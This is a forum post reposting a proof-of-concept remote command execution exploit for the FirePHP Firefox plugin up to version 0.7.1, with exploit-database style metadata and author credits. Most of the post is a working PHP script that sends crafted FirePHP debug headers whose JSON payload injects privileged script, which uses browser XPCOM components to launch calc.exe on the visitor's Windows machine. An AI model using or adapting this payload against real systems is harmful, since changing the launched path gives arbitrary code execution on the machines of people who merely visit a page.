Jump to content
snakeO2

FirePHP Firefox Plugin 0.7.1 - Remote Command Execution

Recommended Posts

FirePHP Firefox Plugin 0.7.1 - Remote Command Execution

# Exploit Title: Firephp firefox plugin RCE

# Date: 17/04/2013

# Exploit Author: Wireghoul

# Vendor Homepage: FirePHP - Firebug Extension for AJAX Development

# Software Link:

https://addons.mozilla.org/en-US/firefox/addon/firephp/versions/

# Version: All versions up to and including 0.7.1

# Tested on: Windows 7

# Advisory: FirePHP Firefox plugin RCE PoC

<?php
/*************************************************************
* FirePHP Firefox plugin RCE PoC *
* Written by Wireghoul - http://www.justanotherhacker.com *
* Greetz to @bcoles urbanadventurer @malerisch *
*************************************************************/

// XUL code to launch calc.exe
$exploit = '{"RequestHeaders":{"1":"1","2":"2","3":"3","4":"4","5":"5","6":"6","7":"7","8":"8","9":"9","UR<script>';
$exploit.= 'var lFile=Components.classes[\"@mozilla.org/file/local;1\"].createInstance(Components.interfaces.nsILocalFile);';
$exploit.= 'lFile.initWithPath(\"C:\\\\\\\\Windows\\\\\\\\system32\\\\\\\\calc.exe\");';
$exploit.= 'var process=Components.classes[\"@mozilla.org/process/util;1\"].createInstance(Components.interfaces.nsIProcess);';
$exploit.= 'process.init(lFile);';
$exploit.= 'process.run(true,[],0);void(0);';
$exploit.= '<\/SCRIPT>":"PWNT"}}';

// Send FirePHP dump data
header("X-Wf-Protocol-1: http://meta.wildfirehq.org/Protocol/JsonStream/0.2");
header("X-Wf-1-Plugin-1: http://meta.firephp.org/Wildfire/Plugin/FirePHP/Library-FirePHPCore/0.3");
header("X-Wf-1-Structure-1: http://meta.firephp.org/Wildfire/Structure/FirePHP/Dump/0.1");
$payload= "X-Wf-1-1-1-1: ";
$payload.= strlen($exploit).'|'.$exploit."|\r\n";
header($payload);
?>
<html>
<head>
<title>FirePHP Firefox plugin RCE PoC</title>
</head>
<body>
PWNT!
</body>
</html>

Sursa: FirePHP Firefox Plugin 0.7.1 - Remote Command Execution

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.



×
×
  • Create New...